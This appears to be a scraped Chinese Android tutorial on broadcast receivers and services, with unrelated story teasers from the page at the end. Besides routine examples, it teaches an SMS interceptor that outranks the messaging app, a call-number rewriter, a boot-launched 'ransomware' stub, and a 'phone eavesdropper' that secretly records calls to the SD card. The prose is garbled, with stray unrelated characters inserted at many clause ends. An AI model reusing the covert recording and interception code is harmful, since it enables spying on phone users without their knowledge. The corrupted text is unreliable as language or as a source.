android筆記-廣播與服務(wù)1

廣播(掌握)

  • 廣播的概念
    • 現(xiàn)實(shí):電臺(tái)通過(guò)發(fā)送廣播發(fā)布消息吼旧,買(mǎi)個(gè)收音機(jī),就能收聽(tīng)
    • Android:系統(tǒng)在產(chǎn)生某個(gè)事件時(shí)發(fā)送廣播未舟,應(yīng)用程序使用廣播接收者接收這個(gè)廣播圈暗,就知道系統(tǒng)產(chǎn)生了什么事件掂为。
      Android系統(tǒng)在運(yùn)行的過(guò)程中,會(huì)產(chǎn)生很多事件员串,比如開(kāi)機(jī)勇哗、電量改變、收發(fā)短信寸齐、撥打電話欲诺、屏幕解鎖

廣播接收者(掌握)

  • 當(dāng)一條廣播被發(fā)送出來(lái)時(shí),系統(tǒng)是在所有清單文件中遍歷渺鹦,通過(guò)匹配意圖過(guò)濾器找到能接收這條廣播的廣播接收者

IP撥號(hào)器(掌握)

原理:接收撥打電話的廣播扰法,修改廣播內(nèi)攜帶的電話號(hào)碼

  • 定義廣播接收者接收打電話廣播

    public class CallReceiver extends BroadcastReceiver {

      //當(dāng)廣播接收者接收到廣播時(shí),此方法會(huì)調(diào)用
      @Override
      public void onReceive(Context context, Intent intent) {
          //拿到用戶撥打的號(hào)碼
          String number = getResultData();
          //修改廣播內(nèi)的號(hào)碼
          setResultData("17951" + number);
      }
    

    }

  • 在清單文件中定義該廣播接收者接收的廣播類型

      <receiver android:name="com.itheima.ipdialer.CallReceiver">
          <intent-filter >
              <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
          </intent-filter>
      </receiver>
    
  • 接收打電話廣播需要權(quán)限

      <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
    
  • 即使廣播接收者的進(jìn)程沒(méi)有啟動(dòng)毅厚,當(dāng)系統(tǒng)發(fā)送的廣播可以被該接收者接收時(shí)塞颁,系統(tǒng)會(huì)自動(dòng)啟動(dòng)該接收者所在的進(jìn)程


短信攔截器(熟悉)

系統(tǒng)收到短信時(shí)會(huì)產(chǎn)生一條廣播,廣播中包含了短信的號(hào)碼和內(nèi)容

  • 定義廣播接收者接收短信廣播

      public void onReceive(Context context, Intent intent) {
      //拿到廣播里攜帶的短信內(nèi)容
      Bundle bundle = intent.getExtras();
      Object[] objects = (Object[]) bundle.get("pdus");
      for(Object ob : objects ){
          //通過(guò)object對(duì)象創(chuàng)建一個(gè)短信對(duì)象
          SmsMessage sms = SmsMessage.createFromPdu((byte[])ob);
          System.out.println(sms.getMessageBody());
          System.out.println(sms.getOriginatingAddress());
      }
    

    }

  • 系統(tǒng)創(chuàng)建廣播時(shí)吸耿,把短信存放到一個(gè)數(shù)組祠锣,然后把數(shù)據(jù)以pdus為key存入bundle,再把bundle存入intent

  • 清單文件中配置廣播接收者接收的廣播類型咽安,注意要設(shè)置優(yōu)先級(jí)屬性锤岸,要保證優(yōu)先級(jí)高于短信應(yīng)用,才可以實(shí)現(xiàn)攔截

      <receiver android:name="com.itheima.smslistener.SmsReceiver">
          <intent-filter android:priority="1000">
              <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
          </intent-filter>
      </receiver>
    
  • 添加權(quán)限

      <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    
  • 4.0之后板乙,廣播接收者所在的應(yīng)用必須啟動(dòng)過(guò)一次是偷,才能生效

  • 4.0之后,如果廣播接收者所在應(yīng)用被用戶手動(dòng)關(guān)閉了募逞,那么再也不會(huì)啟動(dòng)了蛋铆,直到用戶再次手動(dòng)啟動(dòng)該應(yīng)用


監(jiān)聽(tīng)SD卡狀態(tài)(掌握)

  • 清單文件中定義廣播接收者接收的類型,監(jiān)聽(tīng)SD卡常見(jiàn)的三種狀態(tài)放接,所以廣播接收者需要接收三種廣播

       <receiver android:name="com.itheima.sdcradlistener.SDCardReceiver">
          <intent-filter >
              <action android:name="android.intent.action.MEDIA_MOUNTED"/>
              <action android:name="android.intent.action.MEDIA_UNMOUNTED"/>
              <action android:name="android.intent.action.MEDIA_REMOVED"/>
              <data android:scheme="file"/>
          </intent-filter>
      </receiver>
    
  • 廣播接收者的定義

      public class SDCardReceiver extends BroadcastReceiver {
          @Override
          public void onReceive(Context context, Intent intent) {
              // 區(qū)分接收到的是哪個(gè)廣播
              String action = intent.getAction();
                  
              if(action.equals("android.intent.action.MEDIA_MOUNTED")){
                  System.out.println("sd卡就緒");
              }
              else if(action.equals("android.intent.action.MEDIA_UNMOUNTED")){
                  System.out.println("sd卡被移除");
              }
              else if(action.equals("android.intent.action.MEDIA_REMOVED")){
                  System.out.println("sd卡被拔出");
              }
          }
      }
    

勒索軟件(掌握)

  • 接收開(kāi)機(jī)廣播刺啦,在廣播接收者中啟動(dòng)勒索的Activity

  • 清單文件中配置接收開(kāi)機(jī)廣播

      <receiver android:name="com.itheima.lesuo.BootReceiver">
          <intent-filter >
              <action android:name="android.intent.action.BOOT_COMPLETED"/>
          </intent-filter>
      </receiver>
    
  • 權(quán)限

      <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    
  • 定義廣播接收者

      @Override
      public void onReceive(Context context, Intent intent) {
          //開(kāi)機(jī)的時(shí)候就啟動(dòng)勒索軟件
          Intent it = new Intent(context, MainActivity.class);        
          context.startActivity(it);
      }
    
  • 以上代碼還不能啟動(dòng)MainActivity,因?yàn)閺V播接收者的啟動(dòng)纠脾,并不會(huì)創(chuàng)建任務(wù)棧玛瘸,那么沒(méi)有任務(wù)棧,就無(wú)法啟動(dòng)activity

  • 手動(dòng)設(shè)置創(chuàng)建新任務(wù)棧的flag

      it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    

監(jiān)聽(tīng)?wèi)?yīng)用的安裝苟蹈、卸載糊渊、更新(熟悉)

原理:應(yīng)用在安裝卸載更新時(shí),系統(tǒng)會(huì)發(fā)送廣播慧脱,廣播里會(huì)攜帶應(yīng)用的包名

  • 清單文件定義廣播接收者接收的類型渺绒,因?yàn)橐O(jiān)聽(tīng)?wèi)?yīng)用的三個(gè)動(dòng)作,所以需要接收三種廣播

      <receiver android:name="com.itheima.app.AppReceiver">
          <intent-filter >
              <action android:name="android.intent.action.PACKAGE_ADDED"/>
              <action android:name="android.intent.action.PACKAGE_REPLACED"/>
              <action android:name="android.intent.action.PACKAGE_REMOVED"/>
              <data android:scheme="package"/>
          </intent-filter>
      </receiver>
    
  • 廣播接收者的定義

      public void onReceive(Context context, Intent intent) {
          //區(qū)分接收到的是哪種廣播
          String action = intent.getAction();
          //獲取廣播中包含的應(yīng)用包名
          Uri uri = intent.getData();
          if(action.equals("android.intent.action.PACKAGE_ADDED")){
              System.out.println(uri + "被安裝了");
          }
          else if(action.equals("android.intent.action.PACKAGE_REPLACED")){
              System.out.println(uri + "被更新了");
          }
          else if(action.equals("android.intent.action.PACKAGE_REMOVED")){
              System.out.println(uri + "被卸載了");
          }
      }
    

廣播的兩種類型(掌握)

  • 無(wú)序廣播:所有跟廣播的intent匹配的廣播接收者都可以收到該廣播,并且是沒(méi)有先后順序(同時(shí)收到)
  • 有序廣播:所有跟廣播的intent匹配的廣播接收者都可以收到該廣播宗兼,但是會(huì)按照廣播接收者的優(yōu)先級(jí)來(lái)決定接收的先后順序
    • 優(yōu)先級(jí)的定義:-1000~1000
    • 結(jié)果接收者:所有廣播接收者都接收到廣播之后躏鱼,它才接收,并且一定會(huì)接收
    • abortBroadCast:阻止其他接收者接收這條廣播殷绍,類似攔截染苛,只有有序廣播可以被攔截

Service(掌握)

  • 就是默默運(yùn)行在后臺(tái)的組件,可以理解為是沒(méi)有前臺(tái)的activity主到,適合用來(lái)運(yùn)行不需要前臺(tái)界面的代碼
  • 服務(wù)可以被手動(dòng)關(guān)閉茶行,不會(huì)重啟,但是如果被自動(dòng)關(guān)閉镰烧,內(nèi)存充足就會(huì)重啟
  • startService啟動(dòng)服務(wù)的生命周期
    • onCreate-onStartCommand-onDestroy
  • 重復(fù)的調(diào)用startService會(huì)導(dǎo)致onStartCommand被重復(fù)調(diào)用

進(jìn)程優(yōu)先級(jí)(掌握)

  1. 前臺(tái)進(jìn)程:擁有一個(gè)正在與用戶交互的activity(onResume方法被調(diào)用)的進(jìn)程
  2. 可見(jiàn)進(jìn)程:擁有一個(gè)非前臺(tái),但是對(duì)用戶可見(jiàn)的activity(onPause方法被調(diào)用)的進(jìn)程
  3. 服務(wù)進(jìn)程:擁有一個(gè)通過(guò)startService方法啟動(dòng)的服務(wù)的進(jìn)程
  4. 后臺(tái)進(jìn)程:擁有一個(gè)后臺(tái)activity(onStop方法被調(diào)用)的進(jìn)程
  5. 空進(jìn)程:沒(méi)有擁有任何活動(dòng)的應(yīng)用組件的進(jìn)程楞陷,也就是沒(méi)有任何服務(wù)和activity在運(yùn)行

電話竊聽(tīng)器(熟悉)

  • 電話狀態(tài):空閑怔鳖、響鈴、接聽(tīng)

  • 獲取電話管理器固蛾,設(shè)置偵聽(tīng)

      TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
      tm.listen(new MyPhoneStateListener(), PhoneStateListener.LISTEN_CALL_STATE);
    
  • 偵聽(tīng)對(duì)象的實(shí)現(xiàn)

      class MyPhoneStateListener extends PhoneStateListener{
    
          //當(dāng)電話狀態(tài)改變時(shí)结执,此方法調(diào)用
          @Override
          public void onCallStateChanged(int state, String incomingNumber) {
              // TODO Auto-generated method stub
              super.onCallStateChanged(state, incomingNumber);
              switch (state) {
              case TelephonyManager.CALL_STATE_IDLE://空閑
                  if(recorder != null){
                      recorder.stop();
                      recorder.release();
                  }
                  break;
              case TelephonyManager.CALL_STATE_OFFHOOK://摘機(jī)
                  if(recorder != null){
                      recorder.start();
                  }
                  break;
              case TelephonyManager.CALL_STATE_RINGING://響鈴
                  recorder = new MediaRecorder();
                  //設(shè)置聲音來(lái)源
                  recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                  //設(shè)置音頻文件格式
                  recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                  recorder.setOutputFile("sdcard/haha.3gp");
                  //設(shè)置音頻文件編碼
                  recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                  try {
                      recorder.prepare();
                  } catch (IllegalStateException e) {
                      // TODO Auto-generated catch block
                      e.printStackTrace();
                  } catch (IOException e) {
                      // TODO Auto-generated catch block
                      e.printStackTrace();
                  }
                  break;
              }
          }
      }
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市艾凯,隨后出現(xiàn)的幾起案子献幔,更是在濱河造成了極大的恐慌,老刑警劉巖趾诗,帶你破解...
    沈念sama閱讀 219,188評(píng)論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件蜡感,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡恃泪,警方通過(guò)查閱死者的電腦和手機(jī)郑兴,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,464評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)贝乎,“玉大人情连,你說(shuō)我怎么就攤上這事±佬В” “怎么了却舀?”我有些...
    開(kāi)封第一講書(shū)人閱讀 165,562評(píng)論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)锤灿。 經(jīng)常有香客問(wèn)我挽拔,道長(zhǎng),這世上最難降的妖魔是什么但校? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,893評(píng)論 1 295
  • 正文 為了忘掉前任篱昔,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘州刽。我一直安慰自己空执,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,917評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布穗椅。 她就那樣靜靜地躺著辨绊,像睡著了一般。 火紅的嫁衣襯著肌膚如雪匹表。 梳的紋絲不亂的頭發(fā)上门坷,一...
    開(kāi)封第一講書(shū)人閱讀 51,708評(píng)論 1 305
  • 那天,我揣著相機(jī)與錄音袍镀,去河邊找鬼默蚌。 笑死,一個(gè)胖子當(dāng)著我的面吹牛苇羡,可吹牛的內(nèi)容都是我干的绸吸。 我是一名探鬼主播,決...
    沈念sama閱讀 40,430評(píng)論 3 420
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼设江,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼锦茁!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起叉存,我...
    開(kāi)封第一講書(shū)人閱讀 39,342評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤码俩,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后歼捏,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體稿存,經(jīng)...
    沈念sama閱讀 45,801評(píng)論 1 317
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,976評(píng)論 3 337
  • 正文 我和宋清朗相戀三年瞳秽,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了挠铲。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,115評(píng)論 1 351
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡寂诱,死狀恐怖拂苹,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情痰洒,我是刑警寧澤瓢棒,帶...
    沈念sama閱讀 35,804評(píng)論 5 346
  • 正文 年R本政府宣布,位于F島的核電站丘喻,受9級(jí)特大地震影響脯宿,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜泉粉,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,458評(píng)論 3 331
  • 文/蒙蒙 一连霉、第九天 我趴在偏房一處隱蔽的房頂上張望榴芳。 院中可真熱鬧,春花似錦跺撼、人聲如沸窟感。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 32,008評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)柿祈。三九已至,卻和暖如春哩至,著一層夾襖步出監(jiān)牢的瞬間躏嚎,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,135評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工菩貌, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留卢佣,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,365評(píng)論 3 373
  • 正文 我出身青樓箭阶,卻偏偏與公主長(zhǎng)得像虚茶,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子尾膊,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,055評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容